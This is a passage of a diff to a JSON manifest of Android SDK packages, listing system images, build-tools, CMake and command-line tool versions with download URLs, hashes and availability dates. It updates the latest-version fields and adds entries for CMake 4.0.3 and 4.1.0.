+              "sha1": "ab794ced3006692f3dcfab3d821c68b3d2b12cce",
+              "size": 1990330997,
+              "url": "https://dl.google.com/android/repository/sys-img/page_size_16kb/arm64-v8a-playstore-ps16k-36.0-CANARY_r02.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-arm-dbt-license",
+          "name": "system-image-CANARY-page_size_16kb-arm64-v8a",
+          "path": "system-images/android-36.0-CANARY/google_apis_playstore_ps16k/arm64-v8a",
+          "revision": "CANARY-page_size_16kb-arm64-v8a",
+          "revision-details": {
+            "major:0": "2"
+          },
+          "type-details": {
+            "abi:7": "arm64-v8a",
+            "api-level:0": "36.0",
+            "base-extension:3": "true",
+            "codename:1": "CANARY",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:2": "19",
+            "tag:4": {
+              "display:1": "16 KB Page Size",
+              "id:0": "page_size_16kb"
+            },
+            "tag:5": {
+              "display:1": "Google APIs PlayStore",
+              "id:0": "google_apis_playstore"
+            },
+            "vendor:6": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        },
+        "x86_64": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "bfc22a8e70c29c3b02af6bde5d644ecf2c18670f",
+              "size": 1982737255,
+              "url": "https://dl.google.com/android/repository/sys-img/page_size_16kb/x86_64-playstore-ps16k-36.0-CANARY_r02.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-preview-license",
+          "name": "system-image-CANARY-page_size_16kb-x86_64",
+          "path": "system-images/android-36.0-CANARY/google_apis_playstore_ps16k/x86_64",
+          "revision": "CANARY-page_size_16kb-x86_64",
+          "revision-details": {
+            "major:0": "2"
+          },
+          "type-details": {
+            "abi:7": "x86_64",
+            "api-level:0": "36.0",
+            "base-extension:3": "true",
+            "codename:1": "CANARY",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:2": "19",
+            "tag:4": {
+              "display:1": "16 KB Page Size",
+              "id:0": "page_size_16kb"
+            },
+            "tag:5": {
+              "display:1": "Google APIs PlayStore",
+              "id:0": "google_apis_playstore"
+            },
+            "vendor:6": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        }
+      }
+    },
     "TiramisuPrivacySandbox": {
       "google_apis": {
         "arm64-v8a": {
@@ -14226,12 +14744,12 @@
   },
   "latest": {
     "build-tools": "36.0.0",
-    "cmake": "4.0.2",
+    "cmake": "4.1.0",
     "cmdline-tools": "19.0",
-    "emulator": "35.6.9",
-    "ndk": "28.1.13356709",
+    "emulator": "36.1.9",
+    "ndk": "28.2.13676358",
     "ndk-bundle": "22.1.7171670",
-    "platform-tools": "35.0.2",
+    "platform-tools": "36.0.0",
     "platforms": "36",
     "skiaparser": "7",
     "sources": "36",
@@ -14300,7 +14818,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 17",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14349,7 +14867,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 18.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14398,7 +14916,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 18.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14447,7 +14965,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 18.1.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14496,7 +15014,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14545,7 +15063,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14594,7 +15112,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14643,7 +15161,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14692,7 +15210,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/19.1.0",
@@ -14740,7 +15258,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 20",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/20.0.0",
@@ -14788,7 +15306,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14837,7 +15355,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14886,7 +15404,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14935,7 +15453,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14984,7 +15502,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.1.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15033,7 +15551,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.1.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/21.1.2",
@@ -15081,7 +15599,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 22",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15130,7 +15648,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 22.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/22.0.1",
@@ -15178,7 +15696,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15227,7 +15745,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/23.0.1",
@@ -15275,7 +15793,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/23.0.2",
@@ -15323,7 +15841,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/23.0.3",
@@ -15371,7 +15889,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.0",
@@ -15419,7 +15937,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.1",
@@ -15467,7 +15985,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.2",
@@ -15515,7 +16033,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.3",
@@ -15563,7 +16081,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.0",
@@ -15611,7 +16129,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.1",
@@ -15659,7 +16177,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.2",
@@ -15707,7 +16225,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.3",
@@ -15755,7 +16273,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.0",
@@ -15803,7 +16321,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.1",
@@ -15851,7 +16369,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.2",
@@ -15899,7 +16417,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.3",
@@ -15947,7 +16465,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.0",
@@ -15995,7 +16513,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.1",
@@ -16043,7 +16561,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.2",
@@ -16091,7 +16609,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.3",
@@ -16139,7 +16657,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.0",
@@ -16187,7 +16705,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28-rc1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16237,7 +16755,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28-rc2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16287,7 +16805,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.1",
@@ -16335,7 +16853,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.2",
@@ -16383,7 +16901,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.3",
@@ -16431,7 +16949,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.0",
@@ -16479,7 +16997,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29-rc1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16529,7 +17047,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29-rc2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16579,7 +17097,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29-rc3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16629,7 +17147,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.1",
@@ -16677,7 +17195,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.2",
@@ -16725,7 +17243,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.3",
@@ -16773,7 +17291,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.0",
@@ -16821,7 +17339,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.1",
@@ -16869,7 +17387,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.2",
@@ -16917,7 +17435,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.3",
@@ -16958,7 +17476,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 31",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/31.0.0",
@@ -16999,7 +17517,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 32",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/32.0.0",
@@ -17040,7 +17558,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 32.1-rc1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/32.1.0-rc1",
@@ -17082,7 +17600,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.0",
@@ -17123,7 +17641,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.1",
@@ -17164,7 +17682,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.2",
@@ -17205,7 +17723,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33.0.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.3",
@@ -17246,7 +17764,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0",
@@ -17287,7 +17805,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34-rc1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0-rc1",
@@ -17329,7 +17847,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34-rc2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0-rc2",
@@ -17371,7 +17889,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34-rc3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0-rc3",
@@ -17413,7 +17931,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0",
@@ -17454,7 +17972,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc1",
@@ -17496,7 +18014,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc2",
@@ -17538,7 +18056,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc3",
@@ -17580,7 +18098,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc4",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc4",
@@ -17622,7 +18140,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35.0.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/35.0.1",
@@ -17663,7 +18181,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0",
@@ -17704,7 +18222,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc1",
@@ -17746,7 +18264,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc3",
@@ -17788,7 +18306,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc4",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc4",
@@ -17830,7 +18348,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc5",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc5",
@@ -17881,7 +18399,7 @@
           }
         ],
         "displayName": "CMake 3.10.2.4988404",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.10.2.4988404",
@@ -17922,7 +18440,7 @@
           }
         ],
         "displayName": "CMake 3.18.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.18.1",
@@ -17963,7 +18481,7 @@
           }
         ],
         "displayName": "CMake 3.22.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.22.1",
@@ -18004,7 +18522,7 @@
           }
         ],
         "displayName": "CMake 3.30.3",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.30.3",
@@ -18045,7 +18563,7 @@
           }
         ],
         "displayName": "CMake 3.30.4",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.30.4",
@@ -18086,7 +18604,7 @@
           }
         ],
         "displayName": "CMake 3.30.5",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.30.5",
@@ -18127,7 +18645,7 @@
           }
         ],
         "displayName": "CMake 3.31.0",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.0",
@@ -18168,7 +18686,7 @@
           }
         ],
         "displayName": "CMake 3.31.1",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.1",
@@ -18209,7 +18727,7 @@
           }
         ],
         "displayName": "CMake 3.31.4",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.4",
@@ -18250,7 +18768,7 @@
           }
         ],
         "displayName": "CMake 3.31.5",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.5",
@@ -18291,7 +18809,7 @@
           }
         ],
         "displayName": "CMake 3.31.6",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.6",
@@ -18339,7 +18857,7 @@
           }
         ],
         "displayName": "CMake 3.6.4111459",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.6.4111459",
@@ -18380,7 +18898,7 @@
           }
         ],
         "displayName": "CMake 4.0.2",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/4.0.2",
@@ -18395,6 +18913,88 @@
             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "4.0.3": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "595002f48fca924c9dcf7b3274277026024b7887",
+            "size": 30911219,
+            "url": "https://dl.google.com/android/repository/cmake-4.0.3-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "11cd1bd2b921d5bc262b7d502403f185dd6001a4",
+            "size": 43161272,
+            "url": "https://dl.google.com/android/repository/cmake-4.0.3-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "edaff2f1c48e57f28c9a03945165b6a54b60aa15",
+            "size": 20622355,
+            "url": "https://dl.google.com/android/repository/cmake-4.0.3-windows.zip"
+          }
+        ],
+        "displayName": "CMake 4.0.3",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "cmake",
+        "path": "cmake/4.0.3",
+        "revision": "4.0.3",
+        "revision-details": {
+          "major:0": "4",
+          "micro:2": "3",
+          "minor:1": "0"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
+      "4.1.0": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "c7df7c5094f58d61a53f615cd68e6e7fd0c41a76",
+            "size": 31268624,
+            "url": "https://dl.google.com/android/repository/cmake-4.1.0-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "11ba32eb864c31fcf383456e21d9ab8e13c8d22c",
+            "size": 43658753,
+            "url": "https://dl.google.com/android/repository/cmake-4.1.0-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "3bc560fd2b487841fb0bad2f3585cff8aaf40cd5",
+            "size": 20951280,
+            "url": "https://dl.google.com/android/repository/cmake-4.1.0-windows.zip"
+          }
+        ],
+        "displayName": "CMake 4.1.0",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "cmake",
+        "path": "cmake/4.1.0",
+        "revision": "4.1.0",
+        "revision-details": {
+          "major:0": "4",
+          "micro:2": "0",
+          "minor:1": "1"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "cmdline-tools": {
@@ -18423,7 +19023,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/1.0",
@@ -18463,7 +19063,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/10.0",
@@ -18503,7 +19103,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/11.0",
@@ -18581,7 +19181,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/12.0",
@@ -18659,7 +19259,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/13.0",
@@ -18699,7 +19299,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/13.0-rc01",
@@ -18740,7 +19340,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/14.0-alpha01",
@@ -18781,7 +19381,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/16.0",
@@ -18821,7 +19421,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/16.0-alpha01",
@@ -18862,7 +19462,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/17.0",
@@ -18902,7 +19502,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/19.0",
@@ -18942,7 +19542,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
